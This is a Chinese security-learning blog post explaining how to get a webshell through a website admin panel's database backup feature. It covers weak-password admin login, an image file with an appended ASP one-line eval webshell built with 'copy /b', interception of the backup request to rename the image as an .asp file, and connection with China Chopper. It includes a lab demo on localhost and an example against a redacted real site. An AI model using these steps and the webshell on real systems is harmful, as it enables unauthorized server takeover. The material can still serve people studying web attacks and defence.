数据库备份拿webshell

数据库备份拿webshell

原理

​ 数据库备份拿webshell主要前提是能进入到应用系统后台,并且有数据库备份功能。

​ 当我们想法设法进入到一个系统后台之后,本以为找一个文件上传的地方来上传一个webshell,但是上传点却是限制得死死的,高强度的白名单限制,各种绕过都没有成功,恰巧该系统后台中有数据库备份这个功能,此时我们可以通过数据库备份来拿webshell!

首先我们上传一个图片马,并获取到该图片的路径

其次我们进入到数据库备份功能处,将当前的数据库路径替换为图片马的路径(如果页面不能进行修改的话,我们可以使用审查元素进行HTML代码修改)!

​ 最后我们将数据库备份名称修改为webshell的文件类型(如123.asp),如果在提交的时候会自动重名,我们可以使用00截断或者使用burpsuit来进行相应的数据包更改即可!

​ 完成上述操作之后,我们点击备份,然后就会得到备份后的webshell路径,然后使用菜刀连接即可!

例子

​ 简单说一下数据库备份拿shell的原理,数据库备份是为网站管理者提供备份数据的功能,网站管理者可以将指定位置的文件进行备份,但是为了安全,网站后台都是不允许我们自己指定位置的。但是如果只是在前台加的限制,后台没有校验,我们可以上传一个写入小马的图片文件,然后得到他的路径,在将这个路径进行数据库备份,备份是指定w为asp后缀就行(假设是asp+iis的站点)。
上传图片:
数据库备份拿webshell_第1张图片

firefox看一下返回的路径,然后备份数据库抓包更改路径:

数据库备份拿webshell_第2张图片
然后改一下需要备份的路径就行了,猜测一下路径:

在这里插入图片描述然后重发就可以了:

数据库备份拿webshell_第3张图片

看到这个返回就知道成功了,可以看到这个是有waf的

不过我们发现这里并没有爆出备份后的路径,大概看了看,返回有FolderBackUp.asp然后请求的是/Manage/DataBackUp.asp这个路径,然后后台也说了备份文件夹是databackup,大概测了测就猜到了:

$ http://xxxxxx.com/Manage/databackup/mssqldb.asp

然后菜刀连接一下就行了。

实操

先通过弱口令登录进后台管理系统http://127.0.0.1/AccessInj/admin/login.asp

数据库备份拿webshell_第4张图片点击备份发现:备份的数据库路径为C:\wwwroot\AccessInj\admin\Databackup\0791idcbackup.mdb

在这里插入图片描述然后在联系我们处发现有图片上传的功能:

数据库备份拿webshell_第5张图片

制作一个图片木马:

准备一张普通的jpg图片,然后制作一个asp文件。用记事本写入代码<%eval request("value")%>,将后缀改为.asp

打开cmd命令,copy t2.jpg/b+t2.sap/a muma.jpg,b表示二进制文件,a表示ascii码文件,得到了图片木马muma.jpg

上传:

图片上传成功!文件路径是把 [img]Upload/2020113213845129.jpg[/img] 复制到上面的编辑框内
http://127.0.0.1/Upload/2020113213845129.jpg

数据库备份的时候抓包:

数据库备份拿webshell_第6张图片

把路径替换成Upload/2020113213845129.jpg
数据库备份拿webshell_第7张图片

备份数据库那里,修改当前数据库路径,填写备份数据库名称

这里,修改当前数据库路径必须为上面刚刚上传的一句话木马图片的路径;这里我把备份数据库名称写为muma.asp;

用菜刀连接一句话木马就完事了

参考文章

https://www.jianshu.com/p/728109894bb2

图片木马的三种制作方法

你可能感兴趣的:(web安全学习)